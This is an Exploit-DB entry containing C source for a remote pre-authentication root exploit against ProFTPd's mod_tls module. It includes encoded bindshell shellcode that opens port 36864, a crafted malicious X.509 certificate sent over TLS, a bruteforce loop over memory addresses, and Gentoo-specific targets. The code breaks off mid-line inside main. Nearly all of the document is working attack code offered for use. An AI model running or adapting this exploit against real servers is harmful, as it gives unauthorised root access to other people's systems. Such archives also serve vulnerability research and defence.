Exploit-DB #4312
Description: ProFTPd 1.x - 'mod_tls' Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2007-08-24
Author: netris

Exploit:
/* 
 *	*** Anti-modTLS-0day version 2 ***
 *
 * ProFTPd *.*.* + mod_tls remote-root-0day-exploit
 * 
 * main advantages of this exploit:
 *	1) No patched mod_tls versions yet
 *	2) This is a preauthentication bug
 *	3) Bruteforcing option (eheheheee)
 * main disadvantages:
 *	2) Target mechanism isn't very well, cause exploitation
 *	   depends on library mapped address, so, there are no
 *	   strict categories.
 *	1) Dunno, if there are a lot of proftpd+mod_tls boxes
 *	   outta there.
 *
 * Bug found by: netris
 * exploit written by: netris 
 *
 * -- ADD --
 *
 * Hi there. Here goes the original exploit written in 2004 
 * (not in 2006 like some of you would guess), and found by
 * netris, not Evgeny Legerov. Big middle fingers to those
 * who fight for commercial security shit system. 
 * Greets to arpunk, pandzilla, c0dak, mcb, c0de, ^sq, disque,
 * gamma, djang0 and many others of ex #phenoelit channel.
 * 
 * netris.
 *
 * mailto: netris_spam@ok.kz
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <getopt.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/ssl3.h>
#include <openssl/x509.h>
#include <openssl/err.h>

#define CODE_SZ 2322
#define DPORT 21

#define BSET(u,a,b,c,d) u = a*0x1000000;\
			u+= b*0x0010000;\
			u+= c*0x0000100;\
			u+= d*0x0000001;

#define checkz(a) int i;\
		  for(i=0;i<4;i++){\
		  	if(a[i]<0x20)a[i]=0x20;\
			if(a[i]>0x7f)a[i]=0x7f;\
		  }

int ch,timeout=2,br=0;
 struct ADDR{
 	char *os;
        unsigned long call_reg; /* eax or edx */
};

/*bindshell, port 36864, offset 265, buf address is edx */
char shellcode[]="h22ImX522ImHRWPPSRPPaVUWWTBfRJfhdEfXf5YDfPDfh0PDTY09RUajWY"
		 "0Loa0toafhoXfYf1LocjxY0Loe0Toe0ToffhH0fYf1Loh0tojjFY0Lok0t"
		 "ok0tolfht9fXf1Don0TopjyX0Dor0TosjKX0Dou0Tov0ToxjIX0Doy0Toy"
		 "G0tozGGfhsCfYf1LozGG0tozGGjZY0LozGGjkX0Doz0TozGGjGX0Doz0To"
		 "zG0tozGGjAY0LozGf1tozGGG0tozGGjpY0LozG0tozGGjpY0LozG0TozGG"
		 "jfX0DozG0tozGGjRX0DozG0tozGG0TozGj8Y0Loz0tozG0TozGfhlGfYf1"
		 "LozGGGG0TozGG0TozGj3Y0Loz0tozG0tozGGjuX0DozG0TozGGjyY0LozG"
		 "0tozGGG0tozGj4Y0Loz0tozG0TozGjqX0Doz0tozG0tozGfhyCfXf1DozG"
		 "Gf1tozGGjFY0Loz0TozG0TozGjQY0LozGG0tozGj9Y0Loz0TozG0TozGjY"
		 "X0DozGG0tozGjFX0Doz0TozG0tozGGjnY0LozG0TozGGjTY0LozG0tozGj"
		 "gY0Loz0TozG0tozGGj4Y0LozG0TozGj9X0DozG0tozGfhKofYf1Lozf1to"
		 "zGG0tozGfha5fXf1Dozf1TozGGj4X0Doz0TozGjYY0LozGGGGjHY0LozCn"
		 "1qGvFXpvzvFxyvFqrNCOf26C9FcSwFR1T1jvFYOofvFfrNdvNjrNZOf2Gv"
		 "2KCCOf2LvVyvViOfC2KyMOFj629OnA2FOfA29wVivvXxkrK8O224xra54v"
		 "bingsh";

X509 *Create_Death_Certificate(EVP_PKEY **pkey);
void set_subject(X509 *cert, X509_NAME *subject, X509_NAME *issuer);
void DUF_add_entry(X509_NAME **subiss, char *field, 
			unsigned char *bytes, int len);
void setaddr(char *hname, struct sockaddr_in *sap, int port);
void senddata(int sock, char *data);                            
int shell(char *host,int port, struct sockaddr_in ad);
void help(char *prname);

SSL_CTX *ctx;
SSL *conn;
int sk;

void handler(){
	if(!conn->in_handshake){
		SSL_shutdown(conn);
		SSL_free(conn);
	}
	close(sk);
	exit(0);
}

void step(char *str, int err){
	static i;
	if(br)
		return;
	switch(err){
		case 0:
			fprintf(stderr,"[%03d] %s\n",i+1,str);
			i++;break;
		case -1:
			fprintf(stderr,"[!!!] %s\n",str);
			break;
		case 1:
			fprintf(stderr,"[!!!] %s\n\t",str);
			ERR_print_errors_fp(stderr);
	}
}
/* Add targets here */
struct ADDR vict[]={
	{"Bruteforce mode",0x40202020},
	{"Gentoo Linux 1.4 3.2.3-r1 - openssl-0.9.7d",0x40235727},
	{"Gentoo Linux 1.4.3.2.3-r1 - default install",0x40283a43},	
	{0}
};

int main(int argc, char *argv[])
{
	int port=DPORT,aa[4];
	char *host,*sport,opt;
	unsigned long saddr=0;
	struct sockaddr_in a;

	EVP_PKEY *key;
	X509 *cert=NULL;

	fprintf(stderr,"--< rebel-proftpd-modtls-0day\n");
	fprintf(stderr,"--< netris @ duffsrebelz\n\n");
	
	while((opt=getopt(argc,(void*)argv,"+b:t:x"))!=-1)
		switch(opt){
			case 't':timeout=atoi(optarg);break;
			case 'b':sscanf(optarg,"0x%x",&saddr);break;
			case 'x':ch=1;
				X509_print_fp(stderr,
					Create_Death_Certificate(&key));
				exit(0);
			default:help(argv[0]);
		}
	if(argc-optind!=2)
		help(argv[0]);
	
	ch=atoi(argv[optind]);
	
	if(host=strchr(argv[optind+1],':')){
		if(!isdigit(*(host+1))){
			step("weird arguments\n",-1);
			exit(-1);
		}
		host = strtok(argv[optind+1],":");
		sport = strtok(NULL,":");
		port=atoi(sport);
	}else
		host=argv[optind+1];
	
	(ch==0)?(br=1):(br=0);
	
	SSL_library_init();	
	if(br)
		fprintf(stderr,
			"--< Ready, Steady, GO!!! >:O\n\n");
	setaddr(host,&a,port);

	if(!saddr)saddr=vict[0].call_reg;
	
	aa[3] = (saddr >>  0) & 0xff;
	aa[2] = (saddr >>  8) & 0xff;
	aa[1] = (saddr >> 16) & 0xff;
	aa[0] = (saddr >> 24) & 0xff;
	
	checkz(aa);
	
	for(;;){
	for(;aa[1]<0x7e;aa[1]++){
		for(;aa[2]<0x7e;aa[2]++){
			for(;aa[3]<0x7e;aa[3]++){
	BSET(vict[0].call_reg,aa[0],aa[1],aa[2],aa[3]);
	fprintf(stderr,"[0x%08x]\n",vict[0].call_reg);
	sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);		
	
	cert = Create_Death_Certificate(&key);
	a.sin_port=htons(port);
	a.sin_family=AF_INET;
	if((connect(sk,(struct sockaddr*)&a,sizeof(a)))<0){
		fprintf(stderr,"[!!!] couldn't connect\n\n");
		close(sk);
		exit(-1);
	}
	
	senddata(sk,"AUTH TLS\n");
	
	ctx  = SSL_CTX_new(SSLv23_client_method());
	SSL_CTX_use_certificate(ctx, cert);
	SSL_CTX_use_PrivateKey(ctx, key);

	conn = SSL_new(ctx);
	SSL_set_connect_state(conn);
	SSL_set_fd(conn,sk);
	signal(SIGINT,handler);
	step("establishing SSL connection",0);
#ifdef DEBUG
	getc(stdin);
#endif
	if(SSL_connect(conn)<0){
		fprintf(stderr,"[!!!] No SSL enabled on %s\n\n",host);
		exit(-1);
	}
	step("shell spawn...",0);
	if(shell(host,36864,a))
		exit(0);
	
	step("